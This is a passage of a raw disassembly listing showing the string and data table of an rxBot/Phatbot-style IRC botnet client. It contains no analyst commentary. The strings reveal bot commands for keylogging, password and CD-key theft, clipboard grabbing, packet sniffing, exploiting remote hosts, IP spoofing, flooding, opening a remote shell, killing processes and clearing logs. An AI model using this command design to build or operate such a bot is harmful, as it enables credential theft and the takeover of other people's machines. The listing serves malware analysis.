2 db 3 aUserListFailed db '- User list failed.',0 align 4 unk_42C50C db 2Dh ; - ; DATA XREF: seg000:004061A0o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 unk_42C52C db 2Dh ; - ; DATA XREF: seg000:loc_406113o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 4 unk_42C54C db 2Dh ; - ; DATA XREF: seg000:00406109o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 10h aShare db 'share',0 ; DATA XREF: seg000:004060A0o align 4 aContinue db 'continue',0 ; DATA XREF: seg000:00406066o align 4 aPause db 'pause',0 ; DATA XREF: seg000:00406049o align 4 aStop db 'stop',0 ; DATA XREF: seg000:0040602Fo align 4 unk_42C594 db 2Dh ; - ; DATA XREF: seg000:loc_406022o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 unk_42C5B4 db 2Dh ; - ; DATA XREF: seg000:00406018o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 4 aStart db 'start',0 ; DATA XREF: seg000:00405FC2o align 10h unk_42C5E0 db 2Dh ; - ; DATA XREF: seg000:00405F90o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aNet db 'net',0 ; DATA XREF: seg000:00405F6Co dword_42C61C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: seg000:00405F3Do aFailedToStartL db '- Failed to start logging thread, error: <%d>.',0 align 4 dword_42C658 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: seg000:00405EE4o aKeyLoggerActiv db '- Key logger active.',0 align 4 dword_42C67C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: seg000:00405E65o aAlreadyRunning db '- Already running.',0 align 4 dword_42C69C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: seg000:loc_405E4Fo aNoKeyLoggerThr db '- No key logger thread found.',0 align 4 dword_42C6C8 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: seg000:00405E45o aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0 align 4 aFile db 'file',0 ; DATA XREF: seg000:00405E06o align 4 aKeylog db 'keylog',0 ; DATA XREF: seg000:00405DE4o align 4 unk_42C714 db 2Dh ; - ; DATA XREF: seg000:loc_405DD9o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0 align 8 unk_42C748 db 2Dh ; - ; DATA XREF: seg000:00405DCFo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0 unk_42C788 db 2Dh ; - ; DATA XREF: seg000:00405D8Ao db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_16 db '- Failed to start sniffer thread, error: <%d>.',0 unk_42C7C4 db 2Dh ; - ; DATA XREF: seg000:00405D31o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotPacketS db '- Phatbot packet sniffer active.',0 align 4 unk_42C7F4 db 2Dh ; - ; DATA XREF: seg000:00405CCDo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_0 db '- Already running.',0 aSniffer db 'sniffer',0 ; DATA XREF: seg000:00405C96o dword_42C81C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: seg000:loc_405C8Bo aNoCarnivoreThr db '- No Carnivore thread found.',0 align 4 dword_42C848 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: seg000:00405C81o aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 4 dword_42C884 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: seg000:00405C3Co aFailedToSta_17 db '- Failed to start sniffer thread, error: <%d>.',0 align 10h dword_42C8C0 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: seg000:00405BE3o aCarnivorePacke db '- Carnivore packet sniffer active.',0 align 10h dword_42C8F0 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: seg000:00405B7Fo aAlreadyRunni_1 db '- Already running.',0 align 10h aOn db 'on',0 ; DATA XREF: seg000:00405B5Fo ; seg000:00405CADo ... align 4 aPsniff db 'psniff',0 ; DATA XREF: seg000:00405B48o align 4 aRf db 'rf',0 ; DATA XREF: seg000:00405B33o align 10h aReadfile db 'readfile',0 ; DATA XREF: seg000:00405B1Eo align 4 aCm db 'cm',0 ; DATA XREF: seg000:00405B09o align 10h aCmd db 'cmd',0 ; DATA XREF: seg000:00405AF4o aMirc db 'mirc',0 ; DATA XREF: seg000:00405ADFo align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: seg000:00405ACAo aV: ; DATA XREF: seg000:00405AB5o ; seg002:0043A8B4o ... unicode 0, <v>,0 aVisit db 'visit',0 ; DATA XREF: seg000:00405AA0o align 10h aLi db 'li',0 ; DATA XREF: seg000:00405A8Bo align 4 aList db 'list',0 ; DATA XREF: seg000:00405A76o align 4 aGt db 'gt',0 ; DATA XREF: seg000:00405A61o align 10h aDel db 'del',0 ; DATA XREF: seg000:00405A37o aDelete db 'delete',0 ; DATA XREF: seg000:00405A22o ; seg000:00406083o align 4 aKi db 'ki',0 ; DATA XREF: seg000:00405A0Do align 10h aKill db 'kill',0 ; DATA XREF: seg000:004059F8o align 4 aKp db 'kp',0 ; DATA XREF: seg000:004059E3o align 4 aKillproc db 'killproc',0 ; DATA XREF: seg000:004059CEo align 4 aDn db 'dn',0 ; DATA XREF: seg000:004059B9o align 4 aDns db 'dns',0 ; DATA XREF: seg000:004059A4o aS3rv3rfg2 db 's3rv3rfg2',0 ; DATA XREF: seg000:0040598Fo align 4 aS3rv3rfg db 's3rv3rfg',0 ; DATA XREF: seg000:0040597Ao align 4 aO: ; DATA XREF: seg000:00405965o ; seg002:0043ABE4o unicode 0, <o>,0 aOpen db 'open',0 ; DATA XREF: seg000:00405950o ; seg000:00407380o ... align 4 aPr db 'pr',0 ; DATA XREF: seg000:0040593Bo align 4 aPrefix db 'prefix',0 ; DATA XREF: seg000:00405926o align 10h aC_rn db 'c_rn',0 ; DATA XREF: seg000:00405911o align 4 aC_rndnick db 'c_rndnick',0 ; DATA XREF: seg000:004058FCo align 4 aC_q db 'c_q',0 ; DATA XREF: seg000:004058E7o aC_quit db 'c_quit',0 ; DATA XREF: seg000:004058D2o align 10h aK: ; DATA XREF: seg000:004058BDo ; seg002:0043A8A0o ... unicode 0, <k>,0 aKillthread db 'killthread',0 ; DATA XREF: seg000:004058A8o align 10h aRaw db 'raw',0 ; DATA XREF: seg000:0040587Eo aPt db 'pt',0 ; DATA XREF: seg000:00405869o align 4 aJ: ; DATA XREF: seg000:0040583Fo ; seg002:0043A89Co ... unicode 0, <j>,0 aN: ; DATA XREF: seg000:00405815o ; seg002:0043A8BCo ... unicode 0, <n>,0 unk_42CA00 db 2Dh ; - ; DATA XREF: seg000:004057E1o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 4 aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: seg000:0040577Do aRegister db 'register',0 ; DATA XREF: seg000:00405754o align 4 aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: seg000:004056FBo align 4 aMix db 'mix',0 ; DATA XREF: seg000:00405631o dword_42CA60 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: seg000:004055DDo ; seg000:00405614o dd 0 dword_42CA78 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h ; DATA XREF: seg000:004055A6o dd 1 dword_42CA90 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: seg000:0040556Fo ; seg000:00405683o aCtcp db 'ctcp',0 ; DATA XREF: seg000:0040551Do align 4 aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: seg000:00405488o ; seg000:004054C4o ... align 4 aNotice_0 db 'notice',0 ; DATA XREF: seg000:00405431o align 4 aMsg db 'msg',0 ; DATA XREF: seg000:00405345o aChgnick db 'chgnick',0 ; DATA XREF: seg000:004052FFo aNick_0 db 'nick',0 ; DATA XREF: seg000:00405202o ; seg000:00405800o align 4 dword_42CAD8 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h ; DATA XREF: seg000:004051E5o dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1 dword_42CB00 dd 636364h ; DATA XREF: seg000:00405168o dword_42CB04 dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: seg000:00405021o dword_42CB10 dd 4B43494Eh, 732520h ; DATA XREF: seg000:00405004o ; seg000:0040525Co ... dword_42CB18 dd 69257325h, 0 ; DATA XREF: seg000:00404FECo ; sub_40ABA1+4Eo ... aPnick db 'pnick',0 ; DATA XREF: seg000:00404FACo align 4 aPartSS db 'part %s %s',0 ; DATA XREF: seg000:00404F8Fo ; seg000:00405078o ... align 4 aPartflood db 'partflood',0 ; DATA XREF: seg000:00404F68o align 10h aPartS db 'part %s',0 ; DATA XREF: seg000:00404F4Bo aPart_0 db 'part',0 ; DATA XREF: seg000:00404F29o ; seg000:00405854o align 10h aJoinS db 'join %s',0 ; DATA XREF: seg000:00404F0Co ; seg000:0040504Fo ... aJoin db 'join',0 ; DATA XREF: seg000:00404EEAo ; seg000:0040582Ao align 10h aModeSS db 'mode %s %s',0 ; DATA XREF: seg000:00404ECDo align 4 aMode db 'mode',0 ; DATA XREF: seg000:00404E81o ; seg000:00406361o align 4 aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: seg000:00404E64o align 4 aNt db 'nt',0 ; DATA XREF: seg000:00404E18o align 4 dword_42CB88 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0 ; DATA XREF: seg000:00404DFBo dword_42CB9C dd 7463h ; DATA XREF: seg000:00404DAFo dword_42CBA0 dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: seg000:00404D92o ; seg000:0040539Co ... dword_42CBB0 dd 5Fh ; DATA XREF: seg000:00404D66o ; seg000:00404DCFo ... dword_42CBB4 dd 6D70h ; DATA XREF: seg000:00404D46o ; seg000:004062EEo unk_42CBB8 db 2Dh ; - ; DATA XREF: seg000:00404D14o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aSClonesLoadedT db '- %s clones loaded to %s:%s',0 align 4 aLoad db 'load',0 ; DATA XREF: seg000:00404CC0o align 4 aFlood db 'flood',0 ; DATA XREF: seg000:00404C97o align 4 aRinms db 'rinms',0 ; DATA XREF: seg000:00404C80o align 4 aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: seg000:00404C6Bo aRin db 'rin',0 ; DATA XREF: seg000:00404C56o aReconnect_in db 'reconnect.in',0 ; DATA XREF: seg000:00404C41o align 10h unk_42CC20 db 2Dh ; - ; DATA XREF: seg000:00404C21o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 10h unk_42CC60 db 2Dh ; - ; DATA XREF: seg000:00404BC5o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 10h aExploit db 'exploit',0 ; DATA XREF: seg000:00404B48o unk_42CC98 db 2Dh ; - ; DATA XREF: seg000:00404B2Ao db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 4 unk_42CCC4 db 2Dh ; - ; DATA XREF: seg000:00404B00o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: seg000:00404AC8o align 4 unk_42CD04 db 2Dh ; - ; DATA XREF: seg000:00404A6Fo ; seg000:00404AE0o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 4 aGet db 'get',0 ; DATA XREF: seg000:loc_404A4Do ; seg000:00405A4Co unk_42CD40 db 2Dh ; - ; DATA XREF: seg000:004049DBo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aInvalidLoginSl db 'Invalid login slot number: %d.',0 align 4 unk_42CD6C db 2Dh ; - ; DATA XREF: seg000:004049D0o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNoUserLoggedIn db 'No user logged in at slot: %d.',0 align 4 dword_42CD98 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h ; DATA XREF: seg000:0040497Fo unk_42CDA8 db 2Dh ; - ; DATA XREF: seg000:loc_404970o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir' db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress ' db 'from Hell?) who I love so much.',0 align 4 dword_42CE58 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:00404938o aFailedToSta_18 db '- Failed to start secure thread, error: <%d>.',0 align 4 dword_42CE94 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h ; DATA XREF: seg000:004048D4o dd 2E6D6574h, 0 aUnsecuring db 'Unsecuring',0 ; DATA XREF: seg000:004048CEo align 4 aSecuring db 'Securing',0 ; DATA XREF: seg000:004048C7o align 4 unk_42CEC8 db 2Dh ; - ; DATA XREF: seg000:0040483Bo db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToSta_19 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42CF08 db 2Dh ; - ; DATA XREF: seg000:004047CDo db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 4 dword_42CF34 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: seg000:00404736o aFailedToSta_20 db '- Failed to start server thread, error: <%d>.',0 align 10h dword_42CF70 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: seg000:004046DDo ; seg000:004113FCo aServerStarte_0 db '- Server started on: %s:%d.',0 dword_42CF98 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: seg000:00404613o dword_42CFA8 dd 646E6946h, 6C696620h, 65h ; DATA XREF: seg000:0040460Eo dword_42CFB4 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: seg000:004045FEo dword_42CFC4 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: seg000:004045F9o dword_42CFD4 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh ; DATA XREF: seg000:00404586o dd 676E6974h, 2Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_404579o ; seg000:loc_409680o ... align 4 dword_42D008 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh ; DATA XREF: seg000:00404564o dd 6E697463h, 2E67h aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_404557o align 4 aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: seg000:loc_404540o ; seg000:004094ADo align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: seg000:0040452Eo align 4 unk_42D058 db 2Dh ; - ; DATA XREF: seg000:004044E2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0 align 4 dword_42D084 dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h ; DATA XREF: seg000:004044A4o dd 2E7325h unk_42D09C db 2Dh ; - ; DATA XREF: seg000:0040446Bo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToSta_21 db '- Failed to start list thread, error: <%d>.',0 align 4 dword_42D0D8 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: seg000:00404412o dd 65726874h, 2E736461h, 0 dword_42D0F8 dd 627573h ; DATA XREF: seg000:004043ECo dword_42D0FC dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h ; DATA XREF: seg000:0040439Ao dd 2E7473h unk_42D114 db 2Dh ; - ; DATA XREF: seg000:0040436Ao db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToSta_22 db '- Failed to start listing thread, error: <%d>.',0 dword_42D14C dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: seg000:004042F3o dd 2E676Fh dword_42D164 dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh ; DATA XREF: seg000:0040426Co dd 6F666E49h, 2Eh dword_42D180 dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h ; DATA XREF: seg000:0040423Do dd 2E6F666Eh, 0 dword_42D19C dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h ; DATA XREF: seg000:004041E8o dd 746F4220h, 2Eh unk_42D1B8 db 2Dh ; - ; DATA XREF: seg000:004041B7o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToSta_23 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_42D1F4 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: seg000:00404158o dd 696C2073h, 2E7473h aFull db 'full',0 ; DATA XREF: seg000:00404138o align 4 unk_42D218 db 2Dh ; - ; DATA XREF: seg000:004040D9o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunni_2 db ' Already running.',0 align 4 dword_42D238 dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: seg000:004040ADo aSearchComplete db '- Search completed.',0 dword_42D258 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh ; DATA XREF: seg000:0040405Eo dd 2E7325h unk_42D270 db 2Dh ; - ; DATA XREF: seg000:loc_403F94o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 10h unk_42D290 db 2Dh ; - ; DATA XREF: seg000:00403F8Do db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 4 unk_42D2B8 db 2Dh ; - ; DATA XREF: seg000:00403F71o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 4 dword_42D2E4 dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h ; DATA XREF: seg000:00403F5Bo dd 72616F62h, 2E64h dword_42D300 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: seg000:00403F2Do dd 2Dh unk_42D318 db 2Dh ; - ; DATA XREF: seg000:loc_403F1Do db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 4 unk_42D344 db 2Dh ; - ; DATA XREF: seg000:00403F16o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 4 unk_42D368 db 2Dh ; - ; DATA XREF: seg000:loc_403EECo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 4 unk_42D394 db 2Dh ; - ; DATA XREF: seg000:loc_403EE5o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 10h unk_42D3C0 db 2Dh ; - ; DATA XREF: seg000:00403EDEo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 4 unk_42D3E4 db 2Dh ; - ; DATA XREF: seg000:00403E4Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_24 db '- Failed to start server thread, error: <%d>.',0 align 10h unk_42D420 db 2Dh ; - ; DATA XREF: seg000:00403DF2o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_42D45C db 2Dh ; - ; DATA XREF: seg000:00403D14o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_25 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42D498 db 2Dh ; - ; DATA XREF: seg000:00403CBBo ; seg000:0040BD69o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_42D4D4 db 2Dh ; - ; DATA XREF: seg000:00403B9Fo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_26 db ' Failed to start server thread, error: <%d>.',0 align 10h unk_42D510 db 2Dh ; - ; DATA XREF: seg000:00403B46o ; seg000:0040BA00o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 4 unk_42D544 db 2Dh ; - ; DATA XREF: seg000:00403A99o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_3 db ' Already running.',0 align 4 unk_42D564 db 2Dh ; - ; DATA XREF: seg000:loc_403A83o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_27 db '- Failed to start scan, port is invalid.',0 align 4 unk_42D59C db 2Dh ; - ; DATA XREF: seg000:00403A21o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_28 db '- Failed to start scan thread, error: <%d>.',0 align 4 unk_42D5D8 db 2Dh ; - ; DATA XREF: seg000:004039C2o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanSta_0 db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 aSequential db 'Sequential',0 ; DATA XREF: seg000:00403997o ; seg000:00407664o align 10h aRandom db 'Random',0 ; DATA XREF: seg000:00403990o ; seg000:0040765Do align 4 unk_42D658 db 2Dh ; - ; DATA XREF: seg000:004037DDo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aAlreadyDScan_0 db '- Already %d scanning threads. Too many specified.',0 unk_42D698 db 2Dh ; - ; DATA XREF: seg000:0040376Ao db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_29 db 'Failed to start search thread, error: <%d>.',0 unk_42D6D4 db 2Dh ; - ; DATA XREF: seg000:004036EEo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 aFp db 'fp',0 ; DATA XREF: seg000:004036C0o align 10h aFindpass db 'findpass',0 ; DATA XREF: seg000:004036AFo align 4 aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: seg000:00403699o align 10h aPhonehome db 'phonehome',0 ; DATA XREF: seg000:00403682o align 4 aSfdgdfgdfa db 'sfdgdfgdfa',0 ; DATA XREF: seg000:0040366Do align 4 aFofofo2 db 'fofofo2',0 ; DATA XREF: seg000:00403658o dword_42D750 dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h ; DATA XREF: seg000:00403608o dd 746F6220h, 2Eh aCrash db 'crash',0 ; DATA XREF: seg000:004035F2o ; seg000:00403642o align 4 aTftp db 'tftp',0 ; DATA XREF: seg000:004035DDo align 4 aTftpserver db 'tftpserver',0 ; DATA XREF: seg000:004035C8o align 4 aHttp db 'http',0 ; DATA XREF: seg000:004035B3o align 10h aHttpserver db 'httpserver',0 ; DATA XREF: seg000:0040359Eo align 4 aRlogin db 'rlogin',0 ; DATA XREF: seg000:00403589o align 4 aRloginserver db 'rloginserver',0 ; DATA XREF: seg000:00403574o align 4 aCip db 'cip',0 ; DATA XREF: seg000:0040355Fo aCurrentip db 'currentip',0 ; DATA XREF: seg000:0040354Ao align 4 aFdns db 'fdns',0 ; DATA XREF: seg000:00403535o align 4 aFlushdns db 'flushdns',0 ; DATA XREF: seg000:00403520o align 4 aFarp db 'farp',0 ; DATA XREF: seg000:0040350Bo align 10h aFlusharp db 'flusharp',0 ; DATA XREF: seg000:004034F6o align 4 aGc db 'gc',0 ; DATA XREF: seg000:004034E1o align 10h aGetclip db 'getclip',0 ; DATA XREF: seg000:004034CCo unk_42D7F8 db 2Dh ; - ; DATA XREF: seg000:0040348Eo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 aOff db 'off',0 ; DATA XREF: seg000:00403473o ; seg000:0040579Ao ... aSpoof db 'spoof',0 ; DATA XREF: seg000:0040345Co align 4 unk_42D82C db 2Dh ; - ; DATA XREF: seg000:0040343Co db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aLoginListCompl db 'Login list complete.',0 align 10h aD_S db '%d. %s',0 ; DATA XREF: seg000:00403417o align 4 aEmpty db '<Empty>',0 ; DATA XREF: seg000:loc_40340Ao dword_42D860 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: seg000:004033EAo dword_42D874 dd 6F6877h ; DATA XREF: seg000:004033CDo dword_42D878 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: seg000:004033C2o dword_42D884 dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: seg000:004033BDo aCmdstop db 'cmdstop',0 ; DATA XREF: seg000:004033A4o aOcmd db 'ocmd',0 ; DATA XREF: seg000:0040338Fo align 4 aOpencmd db 'opencmd',0 ; DATA XREF: seg000:0040337Ao aDll db 'dll',0 ; DATA XREF: seg000:00403365o aTestdlls db 'testdlls',0 ; DATA XREF: seg000:00403350o align 4 aDrv db 'drv',0 ; DATA XREF: seg000:0040333Bo aDriveinfo db 'driveinfo',0 ; DATA XREF: seg000:00403326o align 4 aUp db 'up',0 ; DATA XREF: seg000:00403311o align 10h aUptime db 'uptime',0 ; DATA XREF: seg000:004032FCo align 4 aKey db 'key',0 ; DATA XREF: seg000:004032E7o aGetcdkeys db 'getcdkeys',0 ; DATA XREF: seg000:004032D2o align 4 aPs db 'ps',0 ; DATA XREF: seg000:004032BDo align 4 aProcs db 'procs',0 ; DATA XREF: seg000:004032A8o align 4 aRemov10e2 db 'remov10e2',0 ; DATA XREF: seg000:00403293o align 10h aRemov10e db 'remov10e',0 ; DATA XREF: seg000:0040327Eo align 4 aSi db 'si',0 ; DATA XREF: seg000:00403269o align 10h aSysinfo db 'sysinfo',0 ; DATA XREF: seg000:00403254o aNi db 'ni',0 ; DATA XREF: seg000:0040323Fo align 4 aNetinfo db 'netinfo',0 ; DATA XREF: seg000:0040322Ao aClg db 'clg',0 ; DATA XREF: seg000:00403215o aClearlog db 'clearlog',0 ; DATA XREF: seg000:00403200o align 4 aLg db 'lg',0 ; DATA XREF: seg000:004031EBo align 4 aLog db 'log',0 ; 